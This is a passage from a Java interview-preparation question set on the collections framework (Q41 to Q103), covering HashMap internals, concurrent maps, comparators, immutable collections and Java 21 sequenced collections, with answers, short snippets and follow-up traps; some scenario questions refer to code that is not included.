- **Can the mapping function modify the same `HashMap`?** No; Java 9+ `HashMap` detects it and throws `ConcurrentModificationException`.
- **Is `merge` atomic on `ConcurrentHashMap`?** Yes, per key.

#map #java8 #api

Q41 What is IdentityHashMap, WeakHashMap and when are they used? ADVANCED

`IdentityHashMap` compares keys with `==` and uses `System.identityHashCode` (graph traversal, serialization, proxies). `WeakHashMap` holds keys via weak references; entries vanish after the key is garbage collected (canonicalizing caches, metadata).

- A `WeakHashMap` whose value strongly references its own key never gets cleared.
- Do not use interned strings, boxed small ints or class literals as `WeakHashMap` keys expecting eviction.

FOLLOW-UP TRAPS

- **Does `IdentityHashMap` follow the `Map` contract?** Intentionally violates `equals`-based semantics.
- **Is `WeakHashMap` a good cache?** Not for LRU/size control; use Caffeine or soft/expiry-based caches.

#identityhashmap #weakhashmap

Q42 What is the difference between keySet(), values() and entrySet() and which should you iterate? BASIC

All three are live views of the map. Iterate `entrySet()` when you need both key and value: it avoids a lookup per key (`keySet()` + `get`), which matters for `TreeMap` (O(log n) per lookup).

- Removing via the view (`keySet().remove`, `values().removeIf`, `entrySet().removeIf`) removes from the map.
- `add` is unsupported on the views.

FOLLOW-UP TRAPS

- **Can you reuse a `Map.Entry` after iteration?** Don't store it for `HashMap` guarantees; `entry.setValue` writes through, and entries from `Map.entry()` are immutable.
- **Is `map.keySet()` a `Set` copy?** No, a view.

#map #iteration

Q43 What is the difference between Set.equals/hashCode and List.equals/hashCode? INTERMEDIATE

`List.equals` compares element by element in order. `Set.equals` compares membership regardless of order and implementation; `Set.hashCode` is the sum of element hashes. `Map.equals` compares entry sets.

- `new ArrayList<>(List.of(1,2)).equals(new LinkedList<>(List.of(1,2)))` is `true`.
- A `List` never equals a `Set`, even with the same elements.

FOLLOW-UP TRAPS

- **Is `HashSet.equals(TreeSet)` possible?** Yes, if same elements (comparator caveats).
- **Danger of using a mutable collection as a map key?** Its hash changes when contents change.

#equals #set #list

Q44 How does removing from a list by index vs by object work (remove(int) vs remove(Object))? BASIC

`List<Integer>.remove(1)` calls `remove(int index)` and removes the element at index 1; `remove(Integer.valueOf(1))` removes the first element equal to 1.

FOLLOW-UP TRAPS

- **What does `list.remove((Integer) 1)` do?** Removes by value.
- **Cost of `ArrayList.remove(0)`?** O(n) due to shifting (`System.arraycopy`).

#list #overloading #autoboxing

Q45 What are the generics rules relevant to collections (PECS, raw types)? INTERMEDIATE

`List<Integer>` is not a `List<Number>` (generics are invariant). Use `? extends T` to read (producer) and `? super T` to write (consumer): *Producer Extends, Consumer Super*.

```
static <T> void copy(List<? super T> dst, List<? extends T> src) {
    dst.addAll(src);
}
```

- Raw types skip type checks and permit heap pollution that fails later with `ClassCastException`.
- `Collections.checkedList` can enforce types at runtime.

FOLLOW-UP TRAPS

- **Can you add to `List<? extends Number>`?** Only `null`.
- **Are arrays covariant?** Yes, which is why `ArrayStoreException` exists; generics fixed it at compile time.

#generics #pecs

Q46 What is the difference between Collection.toArray() variants? INTERMEDIATE

`toArray()` returns `Object[]`. `toArray(new String[0])` returns a typed array (a new one if the supplied array is too small). Java 11 adds `toArray(IntFunction)`, e.g. `list.toArray(String[]::new)`.

- `new String[0]` is as fast or faster than presizing on modern JVMs.
- `List.of(...).toArray()` copies, so the result is mutable.

FOLLOW-UP TRAPS

- **Does `(String[]) list.toArray()` work?** No, `ClassCastException`.
- **If the passed array is larger than the list?** The element after the last is set to `null`.

#toarray #arrays

Q47 Stream-based collection helpers: toList(), Collectors.toList(), groupingBy, toMap. INTERMEDIATE

`Stream.toList()` (Java 16) returns an unmodifiable list and permits nulls; `Collectors.toList()` returns an unspecified, typically `ArrayList`. `Collectors.toMap` throws `IllegalStateException` on duplicate keys unless a merge function is given, and rejects `null` values.

```
Map<Integer, List<String>> byLen = words.stream()
    .collect(Collectors.groupingBy(String::length));
Map<String, Integer> m = items.stream()
    .collect(Collectors.toMap(Item::id, Item::qty, Integer::sum, LinkedHashMap::new));
```

FOLLOW-UP TRAPS

- **Order of `groupingBy` output?** A `HashMap` by default; pass a `TreeMap::new` supplier for ordering.
- **Is `Collectors.toUnmodifiableList()` the same as `Stream.toList()`?** Similar, but it rejects nulls.

#streams #collectors

Q48 What is ConcurrentSkipListMap and when to choose it over TreeMap? ADVANCED

A lock-free, sorted, concurrent `NavigableMap` built on a probabilistic skip list: O(log n) expected for get/put/remove, with weakly consistent iterators. Choose it when multiple threads need sorted access without a global lock.

- `size()` is O(n).
- For single-threaded use `TreeMap` has lower overhead.

FOLLOW-UP TRAPS

- **Does it permit `null`?** No keys or values.
- **Is `TreeMap` synchronized via a wrapper equivalent?** Wrappers block all readers on a single lock.

#skiplist #concurrent

Q49 How do Collections.synchronizedList and iteration interact? INTERMEDIATE

Individual methods are synchronized on the wrapper, but iteration and compound actions are not atomic; hold the wrapper's lock for the whole traversal.

```
List<String> l = Collections.synchronizedList(new ArrayList<>());
synchronized (l) {
    for (String s : l) process(s);
}
```

FOLLOW-UP TRAPS

- **Does `stream()` hold the lock?** No, you must synchronize manually.
- **Which lock object is used?** The wrapper itself (`mutex = this`).

#synchronized #wrappers

Q50 What are weakly consistent iterators and what does the Javadoc guarantee? ADVANCED

Concurrent collections' iterators traverse elements as they existed at (or after) creation, never throw CME, and may or may not reflect later updates. Each element is returned at most once.

- Bulk operations (`putAll`, `forEach`, `size`) are not atomic snapshots in `ConcurrentHashMap`.

FOLLOW-UP TRAPS

- **Can an element appear twice?** No.
- **Is `isEmpty()` followed by `get` safe?** No, state may change in between.

#iterator #concurrent

Q51 What are the guarantees and gotchas of Collections.emptyList and Collections.singletonList vs List.of? BASIC

`emptyList()` / `singletonList()` are immutable singletons that permit `null` (singleton) and accept `contains(null)`. `List.of()` rejects `null` elements and throws on `contains(null)`.

FOLLOW-UP TRAPS

- **Is `Collections.emptyList()` safe to return from a method?** Yes, immutable and shared.
- **Can you modify it?** No, `UnsupportedOperationException` (including `add` of nothing: `addAll(empty)` is allowed).

#immutable #collections

Q52 What are Spliterator and why do collections implement it? ADVANCED

`Spliterator` traverses and partitions elements, enabling parallel streams. Collections report characteristics (`ORDERED`, `SIZED`, `SUBSIZED`, `SORTED`, `DISTINCT`, `IMMUTABLE`) and split quality.

- `ArrayList` splits evenly (excellent for parallel); `LinkedList` splits poorly; `HashSet` is decent; `TreeSet` splits by tree structure.

FOLLOW-UP TRAPS

- **Why are parallel streams on `LinkedList` slow?** No cheap midpoint split.
- **What does `SIZED` give?** Exact `estimateSize`, letting pipelines presize outputs.

#spliterator #streams

Scenarios

Q53 What happens when this loop runs? BASIC

Throws `ConcurrentModificationException` on the next `next()` call after the removal. Use `l.removeIf(s -> s.equals("a"))`.

FOLLOW-UP TRAPS

- **What if the removed element is `"b"` (second to last)?** No exception: after removal `size == cursor`, so `hasNext()` is false and the loop ends silently, printing `[a, c]`.
- **What if it is the last element?** CME, since `hasNext()` is still true (`cursor != size`).

#cme #iterator

Q54 A mutable object is used as a HashMap key. What happens? INTERMEDIATE

Prints `null null 1`. The entry is stored in the bucket for hash 1; `get(k)` now looks in bucket 2, and `get(new Key(1))` finds the bucket but `equals` fails because the stored key has id 2. The entry is leaked and unreachable but still counted.

FOLLOW-UP TRAPS

- **Can you remove it?** Not via `get` / `remove` by key; only iteration (`entrySet().removeIf`) or `clear()`.
- **Do `String` keys have this problem?** No, they are immutable.

#mutable-key #hashcode

Q55 What is printed? BASIC

Almost always `2`. `hashCode` is not overridden, so the two equal objects usually land in different buckets and `equals` is never consulted. Override both.

FOLLOW-UP TRAPS

- **Could it print 1?** Rarely, if identity hashes happen to collide into the same bucket with equal full hash, which is practically never.
- **What if only `hashCode` is overridden?** Equal hashes but `equals` is identity, so size is still 2.

#equals #hashset

Q56 Why does this `TreeSet` drop elements? INTERMEDIATE

Prints `[Java]` (`List.of` is iterated in order, so the first wins). The comparator returns 0 for case-variants, so `TreeSet` treats them as duplicates. A `HashSet` would keep all three.

FOLLOW-UP TRAPS

- **Which instance remains on duplicate `add`?** The existing one; the new one is discarded.
- **Does `contains("JAVA")` return true?** Yes, compare-based lookup.

#treeset #comparator

Q57 What is the output of Arrays.asList manipulation? BASIC

Prints `[z, w] [z, w]`, then `add` throws `UnsupportedOperationException`. The list is a fixed-size write-through view of the array.

FOLLOW-UP TRAPS

- **How to get independent growable list?** `new ArrayList<>(Arrays.asList(a))`.
- **Does `l.remove("x")` work?** No, same exception.

#aslist #views

Q58 A method returns Collections.unmodifiableList(items) and the caller still sees changes. Why? INTERMEDIATE

The wrapper is a view; the owner keeps mutating `items`, and the changes appear through the wrapper. Return `List.copyOf(items)` for a snapshot, or keep the owner's list private and never hand out the reference.

```
List<String> view = Collections.unmodifiableList(items);
items.add("new");
System.out.println(view.size()); // includes "new"
```

FOLLOW-UP TRAPS

- **Is `List.copyOf` deep?** No, element objects remain shared.
- **Cost of copying per call?** O(n) each time; cache an immutable snapshot if reads are frequent.

#unmodifiable #defensive-copy

Q59 Why does Map.of("a", 1, "a", 2) fail, and what about nulls? BASIC

Duplicate keys throw `IllegalArgumentException: duplicate key: a` at creation. Any `null` key or value throws `NullPointerException`. Use `HashMap` + `Collections.unmodifiableMap` if nulls are needed.

FOLLOW-UP TRAPS

- **Does `Map.of().get(null)` work?** It throws NPE.
- **Is `Map.copyOf` allowed with duplicates?** A map cannot have them, so the question is moot; nulls throw.

#immutable #map-of

Q60 What does this print about modCount behavior in HashMap?

INTERMEDIATE

No exception; prints `3`. `put` on an existing key replaces the value and is not a structural modification (no `modCount` change). Adding a *new* key during iteration would throw CME.

FOLLOW-UP TRAPS

- **What about `m.put("d", 4)` inside the loop?** `ConcurrentModificationException` on the next iteration step.
- **What about `ConcurrentHashMap` there?** No exception; the new key may or may not be visited.

#hashmap #cme

Q61 A HashMap in a multi-threaded service occasionally loses entries. Diagnose.

INTERMEDIATE

`HashMap` is not thread-safe: concurrent `put` s can overwrite the same bucket slot (lost update), `size` goes out of sync, and concurrent resize can produce missing entries (Java 8) or an infinite loop (Java 7). Use `ConcurrentHashMap` (and atomic compound methods), or confine the map to one thread.

FOLLOW-UP TRAPS

- **Does `Collections.synchronizedMap` fix check-then-act?** No, `if (!m.containsKey) m.put` still races.
- **Does `volatile` on the field help?** It publishes the reference only, not the contents.

#thread-safety #hashmap

Q62 Counter with ConcurrentHashMap: which implementation is correct?

INTERMEDIATE

Only B is atomic. A is read-modify-write across two calls, so concurrent increments are lost. B executes the remapping atomically per key. For very hot keys, use `ConcurrentHashMap<K, LongAdder>` with `computeIfAbsent(k, x -> new LongAdder()).increment()`.

FOLLOW-UP TRAPS

- **Should the merge function be quick?** Yes, it runs while holding the bin lock; avoid blocking or touching the same map.
- **Is `getOrDefault` itself thread-safe?** Yes, but the sequence is not.

#concurrenthashmap #atomicity

Q63 Sorting stability bug: sort people by age then by name.

INTERMEDIATE

Because `List.sort` is stable, you can sort by the secondary key first, then by the primary key and equal-primary items keep secondary order. Simpler and safer: one chained comparator.

```
list.sort(Comparator.comparing(Person::name));
list.sort(Comparator.comparingInt(Person::age)); // stable: ties stay name-sorted
// or:
list.sort(Comparator.comparingInt(Person::age).thenComparing(Person::name));
```

FOLLOW-UP TRAPS

- **Does this trick work with `PriorityQueue`?** No, not stable.
- **Does `parallelStream().sorted()` stay stable?** Yes for ordered streams, `unordered()` removes the guarantee.

#sorting #stability

Q64 A comparator uses subtraction and sorts incorrectly. Why?

INTERMEDIATE

Prints `[1, -2147483648]` (wrong order). `MIN_VALUE - 1` overflows to a positive number, so MIN_VALUE appears greater. Use `Integer.compare(x, y)` or `Comparator.naturalOrder()`.

FOLLOW-UP TRAPS

- **Can a broken comparator crash the sort?** TimSort may throw "Comparison method violates its general contract".
- **Is `Double.compare` needed for doubles?** Yes, and it handles `NaN` and `-0.0`.

#comparator #overflow

Q65 What happens when you put null into various collections? INTERMEDIATE

- `ArrayList`, `LinkedList`, `HashSet`, `HashMap` (one null key), `LinkedHashMap`: allowed.
- `TreeMap` / `TreeSet` with natural ordering: NPE.
- `ConcurrentHashMap`, `Hashtable`, `ArrayDeque`, `PriorityQueue`, `List.of` / `Set.of` / `Map.of`, blocking queues: NPE.
- `EnumMap`: null key NPE, null value allowed.

FOLLOW-UP TRAPS

- **Why does `ConcurrentHashMap` ban nulls?** `get` returning `null` would be ambiguous between absent and null value in a concurrent setting.
- **`TreeSet.add(null)` on an empty set in Java 7+?** NPE (compare is called).

#null #collections

Q66 A LRU cache built with LinkedHashMap evicts the wrong entries. Find the bug. INTERMEDIATE

Prints `[2, 3]`: insertion-order mode ignores the `get(1)`, so the eldest (1) is evicted. Pass `true` as the third constructor argument for access order, which would yield `[1, 3]`.

FOLLOW-UP TRAPS

- **Is this safe across threads?** No; even `get` mutates the structure in access-order mode.
- **When is `removeEldestEntry` called?** After `put`, `putIfAbsent`, `computeIfAbsent`, `merge`.

#lru #linkedhashmap

Q67 Choose a structure: top K largest elements from a stream of N numbers. INTERMEDIATE

Keep a **min-heap** of size K: for each element, offer; if size exceeds K, poll the smallest. Time O(N log K), memory O(K), versus O(N log N) for sorting everything.

```
PriorityQueue<Integer> pq = new PriorityQueue<>();
for (int x : data) { pq.offer(x); if (pq.size() > k) pq.poll(); }
```

FOLLOW-UP TRAPS

- **Why min-heap for largest?** The root is the smallest of the top K, the first candidate to evict.
- **Order of the final result?** Heap iteration is unsorted; poll repeatedly or sort.

#priorityqueue #design

Q68 PriorityQueue iteration shows an unsorted order. Is it broken? BASIC

`1` is the head, but `toString` prints the internal array, e.g. `[1, 2, 4, 5, 3]`, not sorted. Only `poll()` yields sorted order.

FOLLOW-UP TRAPS

- **Does `forEach` give sorted order?** No.
- **How to get a sorted snapshot?** `new ArrayList<>(pq)` then sort, or poll into a list.

#priorityqueue #iteration

Q69 Implement a stack and queue: which class and what breaks with null? BASIC

Prints `2 1` (push adds to the head), then `push(null)` throws `NullPointerException`. `ArrayDeque` forbids nulls.

FOLLOW-UP TRAPS

- **Iteration order of this stack?** Head to tail, i.e. most recent first, unlike the legacy `Stack`.
- **Use `LinkedList` to allow null?** Possible, but `null` makes `poll`/`peek` ambiguous.

#arraydeque #stack

Q70 HashMap initialized with new HashMap<>(1000) for 1000 entries: does it resize? ADVANCED

No. 1000 rounds up to 1024, threshold 768; inserting the 769th entry triggers a resize to 2048. Correct presizing is `ceil(1000 / 0.75) = 1334` -> 2048 capacity, or `HashMap.newHashMap(1000)` on Java 19+.

FOLLOW-UP TRAPS

- **Memory impact of the oversized table?** 2048 slots x 4 bytes (compressed oops) plus entries; acceptable versus a copy during growth.
- **Does a `HashSet(1000)` behave the same?** Yes.

#capacity #hashmap

Q71 Bad hashCode: what is the impact? INTERMEDIATE

Every key lands in one bucket. Lookups cost O(n) with a chain (K is not `Comparable`), and once the bucket has 8+ nodes and table >= 64 it treeifies, but without `Comparable` the tree falls back to identity-hash tie-breaks and lookups must search both subtrees, so performance is still poor. Add `Comparable` to help trees, but fix the hash.

FOLLOW-UP TRAPS

- **Is it functionally correct?** Yes, only slow (and a DoS vector).
- **Why did Java 8 treeify at all?** To bound damage from collisions or attacks (hash flooding).

#hashcode #performance

Q72 What does Set.of iteration print across runs? BASIC

Order is unspecified and can differ between JVM runs because immutable sets/maps use a per-VM randomized salt. Never depend on it; use `LinkedHashSet` or `List.of` for stable order, or `TreeSet`.

FOLLOW-UP TRAPS

- **Does `List.of` have the same issue?** No, it keeps argument order.
- **Why randomize?** To stop code from depending on incidental order.

#set-of #ordering

Q73 toMap collector throws at runtime. Why? INTERMEDIATE

`IllegalStateException: Duplicate key a (attempted merging values apple and avocado)`. Supply a merge function `(x, y) -> x`, or use `groupingBy` to collect lists.

FOLLOW-UP TRAPS

- **What if a value is `null`?** NPE from `HashMap.merge`.
- **Does `toMap` preserve order?** No, it returns a `HashMap`; pass a `LinkedHashMap::new` supplier.

#collectors #tomap

Q74 Why does this remove the wrong element? BASIC

Prints `[10, 30, 1]`: `remove(int index)` is chosen over `remove(Object)`, so index 1 (value 20) is removed. Use `l.remove(Integer.valueOf(1))` to remove by value.

FOLLOW-UP TRAPS

- **Same issue with `Set<Integer>.remove(1)`?** No, `Set` has only `remove(Object)`.
- **With `List<Long>` and `remove(1)`?** Index removal still, since `1` is an `int` literal.

#autoboxing #list

Q75 sublist modification: what is the output? INTERMEDIATE

Throws `ConcurrentModificationException`: the parent was structurally modified after the view was created. Modifying through the view (`s.add`, `s.clear()`) is allowed and affects the parent.

FOLLOW-UP TRAPS

- **What does `s.clear()` do first?** Removes elements 2 and 3 from `l`.
- **Safe fix?** Create the sublist after modifications or copy it.

#sublist #cme

Q76 Memory leak: a long-lived static map keeps growing. What are the common causes and fixes? ADVANCED

Unbounded caches keyed by request-scoped data, listeners never removed, and `ThreadLocal`/class-keyed maps hold strong references. Fixes: bounded LRU (`LinkedHashMap.removeEldestEntry`, Caffeine with `maximumSize` and expiry), `WeakHashMap` for lifecycle-bound metadata, explicit removal on lifecycle end, and metrics on map size.

FOLLOW-UP TRAPS

- **Does `WeakHashMap` fix value->key reference cycles?** No, the value strongly referencing the key prevents collection.
- **Does `HashMap` shrink after `remove`s?** No, the table stays large; create a new map.

#memory-leak #cache

Q77 Choose between ArrayList and LinkedList for a queue with frequent remove(0). INTERMEDIATE

Neither; use `ArrayDeque`. `ArrayList.remove(0)` is O(n) shifting. `LinkedList` is O(1) but with heavy per-node overhead and poor locality. `ArrayDeque.poll()` is O(1) on a circular array.

FOLLOW-UP TRAPS

- **When is `LinkedList` justified?** Almost never; maybe when removing via iterator in the middle during large single-pass edits, and even then `removeIf` on `ArrayList` is usually faster.
- **Does `ArrayDeque` support indexed access?** No.

#design #arraylist #linkedlist

Q78 Why does Collections.binarySearch return a weird result? INTERMEDIATE

The list is not sorted, so the result is undefined (here it may return `-5` or a wrong index). Sort first, and use the same comparator for sort and search. For a missing key the result is `-(insertionPoint) - 1`.

FOLLOW-UP TRAPS

- **What does `-1` mean?** Not found and would insert at index 0.
- **Is it fast on `LinkedList`?** Comparisons are O(log n) but traversal makes it O(n).

#binarysearch #sorting

Q79 Duplicated elements in a TreeMap with an inconsistent comparator: what happens? ADVANCED

Prints `{aa=2}`. Both keys compare equal (length 2), so the second `put` replaces the *value* but keeps the original key. Add a tie-breaker: `.thenComparing(Comparator.naturalOrder())`.

FOLLOW-UP TRAPS

- **Does `containsKey("zz")` return true?** Yes, it compares equal by length.
- **Is this a bug in `TreeMap`?** No, it is the documented behaviour of a comparator inconsistent with `equals`.

#treemap #comparator

Q80 Reverse a list in Java 21: what are the three options and differences? INTERMEDIATE

`Collections.reverse(list)` mutates in place; `list.reversed()` gives a live view with no copying; `new ArrayList<>(list.reversed())` makes a reversed copy.

```
List<Integer> l = new ArrayList<>(List.of(1, 2, 3));
for (int x : l.reversed()) System.out.print(x); // 321, l unchanged
```

FOLLOW-UP TRAPS

- **Does `reversed()` work on a `HashSet`?** Not available; no encounter order.
- **Is `Stream.sorted().reversed()` valid?** No, `Stream` has no `reversed`; use `Comparator.reversed()`.

#java21 #reverse

Q81 What is the result of getFirst/getLast on collections in Java 21? BASIC

Prints `NoSuchElementException`. `getFirst` / `getLast` / `removeFirst` / `removeLast` throw it on empty sequenced collections, unlike `get(0)`, which throws `IndexOutOfBoundsException`. Use `isEmpty()` guards or `Deque.peekFirst` for null-returning variants.

FOLLOW-UP TRAPS

- **Does `LinkedHashMap.firstEntry()` return null if empty?** Yes.
- **Does `getFirst()` work on `List.of()`?** Yes, `NoSuchElementException` if empty.

#java21 #sequenced

Q82 Sequenced map: what does putFirst do on LinkedHashMap with an existing key? ADVANCED

Prints `{b=3, a=1}`. `putFirst` inserts or repositions the key at the start and updates the value, unlike `put` where re-inserting does not change position (insertion order mode). `TreeMap.putFirst` throws `UnsupportedOperationException`.

FOLLOW-UP TRAPS

- **Does `put("a", 5)` move `a`?** No, in insertion-order mode position is unchanged.
- **Does `m.reversed()` copy?** No, live view.

#java21 #linkedhashmap

Q83 A stream produces a list that later throws UnsupportedOperationException. Why? BASIC

`Stream.toList()` (Java 16+) returns an unmodifiable list, so `add` throws `UnsupportedOperationException`. Use `collect(Collectors.toCollection(ArrayList::new))` when a mutable list is needed.

FOLLOW-UP TRAPS

- **Does it allow nulls?** Yes, unlike `List.of`.
- **Does `Collectors.toList()` guarantee mutability?** No, the spec does not promise it, though today it is an `ArrayList`.

#streams #immutable

Q84 computeIfAbsent recursion: why does Fibonacci memoization blow up? ADVANCED

Since Java 9, `HashMap.computeIfAbsent` throws `ConcurrentModificationException` when the mapping function modifies the map (the recursive calls insert entries). On `ConcurrentHashMap` it can livelock or throw `IllegalStateException: Recursive update`. Check with `get`, compute, then `put`.

FOLLOW-UP TRAPS

- **Did Java 8 throw?** It silently corrupted or double-inserted, which is why Java 9 added the check.
- **Safer alternative?** Explicit `Long v = memo.get(n); if (v == null) {...}`.

#computeifabsent #recursion

Q85 Which is correct for iterating a map and removing entries? INTERMEDIATE

Use `map.entrySet().removeIf(e -> cond)` or `map.values().removeIf(...)`, or an explicit `Iterator.remove()`. Calling `map.remove(key)` inside a for-each over the map throws CME (except `ConcurrentHashMap`).

FOLLOW-UP TRAPS

- **Does `keySet().remove(k)` during iteration throw?** Yes, unless done through the iterator.
- **`map.keySet().removeAll(...)` with a `List` argument?** O(n*m) when the argument's `contains` is linear; pass a `Set`.

#map #removal

Q86 What does equals do between ArrayList and Arrays.asList and why does assertEquals sometimes fail? INTERMEDIATE

`List.equals` compares elements in order regardless of implementation, so `new ArrayList<>(List.of(1,2)).equals(Arrays.asList(1,2))` is `true`. `assertEquals(List, Set)` fails because a `List` never equals a `Set`, and array `equals` is identity: use `Arrays.equals` or `assertArrayEquals`.

FOLLOW-UP TRAPS

- **`new int[]{1}.equals(new int[]{1})`?** `false`.
- **`Objects.equals(list, set)` with same elements?** `false`.

#equals #list

Q87 Multi-threaded counter on a HashMap<String, Integer> produces wrong totals. Fix it. INTERMEDIATE

Replace with `ConcurrentHashMap` + `merge(k, 1, Integer::sum)` or `LongAdder` values. Alternatives: partition per thread and merge at the end (no contention), or `Collectors.groupingByConcurrent` / `counting` in a parallel stream.

FOLLOW-UP TRAPS

- **Is `ConcurrentHashMap<String,Integer>` plus `map.put(k, map.get(k)+1)` fine?** No, still racy and NPE if absent.
- **Fastest for extremely hot single keys?** `LongAdder` reduces CAS contention versus `AtomicLong`.

#concurrency #counter

Q88 CopyOnWriteArrayList used for a high-frequency event buffer causes latency spikes. Why? INTERMEDIATE

Each `add` copies the whole array (O(n) time and garbage), and writes serialize under a lock. Under heavy writes it floods the GC. Use `ConcurrentLinkedQueue`, a `BlockingQueue`, or a ring buffer; reserve COW for

read-mostly data such as listener lists.

> **FOLLOW-UP TRAPS**
> - **Why is iteration safe there?** It uses the array snapshot captured at iterator creation.
> - **Can batching writes help?** Yes, `addAll` copies once.

#copyonwrite #performance

Q89 A HashMap with Integer keys: how does bucket placement work for key=17 in a 16-slot table? ADVANCED

`Integer.hashCode()` is the value, 17; spread `17 ^ (17 >>> 16) = 17`; index `(16 - 1) & 17 = 1`. So 1 and 17 collide in bucket 1 at capacity 16, and after resizing to 32, 17 moves to index 17 (`1 + oldCap`) because `17 & 16 != 0`.

> **FOLLOW-UP TRAPS**
> - **Why `h ^ (h >>> 16)`?** Otherwise only the low bits would influence the index for small tables, so keys differing only in high bits collide.
> - **Does `HashMap` call `hashCode` again on resize?** No, the hash is stored in the node.

#hashmap #hashing

Q90 EnumMap vs HashMap: what is the iteration order and null behavior here? INTERMEDIATE

Prints `{MON=m, WED=w}` (declaration order, not insertion order), then `put(null, ...)` throws `NullPointerException`. `get(null)` just returns `null`.

> **FOLLOW-UP TRAPS**
> - **Can `EnumMap` take a null value?** Yes.
> - **Why must the constructor receive `Day.class`?** To know the key universe and allocate the array.

#enummap #ordering

Q91 Pick the right collection: de-duplicate while preserving first-seen order. BASIC

`LinkedHashSet`. `new LinkedHashSet<>(list)` then `new ArrayList<>(set)` removes duplicates preserving first occurrence; `stream().distinct()` also preserves encounter order for ordered streams.

> **FOLLOW-UP TRAPS**
> - **What is the cost?** O(n) time, extra memory for the set.
> - **Does `TreeSet` fit?** It sorts, which changes order.

#design #linkedhashset

Q92 Choose a structure for a leaderboard (ranked top scores, updates, rank queries). ADVANCED

For single-JVM, `TreeMap` / `TreeSet` keyed by (score desc, id) gives O(log n) update and range reads (`headMap`, `descendingMap`); rank by position is O(n) in a `TreeSet`, so use an order-statistic tree or Redis `ZSET` at scale. For concurrency use `ConcurrentSkipListMap`.

> **FOLLOW-UP TRAPS**
> - **Updating a score?** Remove old entry then add new; mutating the key in place corrupts the tree.
> - **Same-score players?** Include a unique tiebreaker in the comparator or one disappears.

#design #treemap #skiplist

Q93 What does the following print for a TreeMap range view? INTERMEDIATE

`{1=v1, 2=v2} {3=v3, 4=v4, 5=v5} null 4`. `headMap` excludes the bound, `tailMap` includes it by default, `floorKey(0)` has no key <= 0 so returns `null`, `ceilingKey(4)` is 4.

FOLLOW-UP TRAPS

- **Include the upper bound?** `headMap(3, true)`.
- **What if you put into `headMap(3)` a key 7?** `IllegalArgumentException: key out of range`.

#treemap #navigable

Q94 What are the pitfalls of removing during Stream.forEach over a collection? INTERMEDIATE

Modifying the source during a terminal operation is interference: `ArrayList.forEach` or `stream().forEach(l::remove)` throws CME (detected at the end of traversal for `ArrayList`'s spliterator). Collect first and remove, or use `removeIf`.

FOLLOW-UP TRAPS

- **Is it safe with `CopyOnWriteArrayList`?** Yes, it iterates a snapshot.
- **Behavior on parallel streams?** Undefined; races and wrong results.

#streams #cme

Q95 Shared mutable default: a getter returns the internal list. What are the risks? BASIC

Callers can mutate internal state, break invariants, and cause CME while the owner iterates. Return an unmodifiable view, `List.copyOf`, or a stream/iterator. Also copy on the way in (constructor argument) because the caller keeps the reference.

```
class Order {
    private final List<Item> items;
    Order(List<Item> in) { this.items = List.copyOf(in); }
    List<Item> items() { return items; }
}
```

FOLLOW-UP TRAPS

- **Is `List.copyOf` enough if `Item` is mutable?** No, deep immutability is needed.
- **Does `unmodifiableList(in)` in the constructor protect?** No, the caller can still change `in`.

#encapsulation #defensive-copy

Q96 What is the difference in outcome between these two initializations? BASIC

Both contain `[x]`, but `a` is an anonymous subclass of `ArrayList` (double-brace initialization): an extra class per site, an implicit reference to the enclosing instance (memory leak if the list escapes), and `getClass()` is not `ArrayList`, which breaks `equals`-by-class checks and serialization. Prefer `b`.

FOLLOW-UP TRAPS

- **Does `a.equals(b)` hold?** Yes, `List.equals` is value-based.
- **Serialization risk?** The anonymous class captures the outer `this`, which must also be serializable.

#double-brace #anonymous-class

Q97 PriorityQueue with a custom class: nothing sorts and a ClassCastException appears. Why? BASIC

The second `add` throws `ClassCastException: Task cannot be cast to class java.lang.Comparable`; the first add succeeds (Java 7+ checks only when comparing). Implement `Comparable<Task>` or pass a `Comparator`.

FOLLOW-UP TRAPS

- **Does a single-element add fail on `TreeSet`?** Java 7+ calls `compare(key, key)`, so it throws even for the first element.
- **Comparator throws NPE on null field?** Use `Comparator.nullsFirst`.

#priorityqueue #comparable

Q98 Large HashMap iteration is slow despite few entries. Why? ADVANCED

`HashMap` iteration is O(capacity + size). A map that once held millions of entries and was emptied via `remove` / `clear` keeps its giant table, so iterating scans every slot. `clear()` also does not shrink it. Create a new `HashMap` (or let the old one be GC'd) instead of reusing.

FOLLOW-UP TRAPS

- **Does `LinkedHashMap` have the same cost?** No, iteration follows the linked list, O(size).
- **What if the map was oversized by presizing?** Same slow iteration.

#hashmap #iteration #capacity

Q99 A ConcurrentHashMap size() call returns a value, but then the map changes. What can you rely on? ADVANCED

`size()` and `isEmpty()` are estimates under concurrent updates; they are exact only in quiescent state. Use `mappingCount()` for a `long` count and do not use `size()` for control flow decisions such as "if empty then put".

FOLLOW-UP TRAPS

- **Is `size() == 0` then `put` atomic?** No, use `putIfAbsent`.
- **Max size in `int`?** `size()` clamps at `Integer.MAX_VALUE`; `mappingCount()` does not.

#concurrenthashmap #size

Q100 What is printed after this null-safe grouping? INTERMEDIATE

`{1=2, 2=2}`. The `TreeMap` factory gives sorted keys, and `counting()` yields `Long` values. `groupingBy` throws NPE if the classifier returns `null` for an element.

FOLLOW-UP TRAPS

- **Type of the values?** `Long`, not `Integer`.
- **How to count into `Integer`?** `Collectors.summingInt(x -> 1)`.

#collectors #groupingby

Q101 What happens with Collections.sort on a list that contains null? BASIC

Natural-order sorting throws `NullPointerException` when `compareTo` is called on `null`. Use `list.sort(Comparator.nullsFirst(Comparator.naturalOrder()))` (or `nullsLast`).

FOLLOW-UP TRAPS

- **What if the list has a single null?** No comparison is made, so no exception.
- **`TreeMap` with that comparator?** Allows a null key.

#sorting #null

Q102 Which iteration approach is fastest for an ArrayList and a LinkedList? INTERMEDIATE

For `ArrayList`, indexed loop and iterator are similar. For `LinkedList`, never loop with `get(i)`: it is O(n^2) overall. Use the iterator or for-each, O(n). `RandomAccess` marker interface tells algorithms which to use.

```
for (int i = 0; i < linked.size(); i++) linked.get(i); // O(n^2) trap
```

FOLLOW-UP TRAPS

- **Which lists implement `RandomAccess`?** `ArrayList`, `Vector`, `CopyOnWriteArrayList`, `Arrays.asList`; not `LinkedList`.
- **Does for-each box primitives in `List<Integer>`?** It unboxes on assignment to `int`, allocation was at insertion.

#iteration #performance

Q103 How do you implement a thread-safe bounded producer-consumer with minimal code? INTERMEDIATE

Use `ArrayBlockingQueue` (or `LinkedBlockingQueue(capacity)`); producers `put` (block when full), consumers `take` (block when empty). Shut down with a poison pill or interrupt.

```
BlockingQueue<Job> q = new ArrayBlockingQueue<>(100);
// producer: q.put(job);   consumer: Job j = q.take();
```

FOLLOW-UP TRAPS

- **Why not `LinkedBlockingQueue()` without a bound?** Unbounded memory growth under slow consumers.
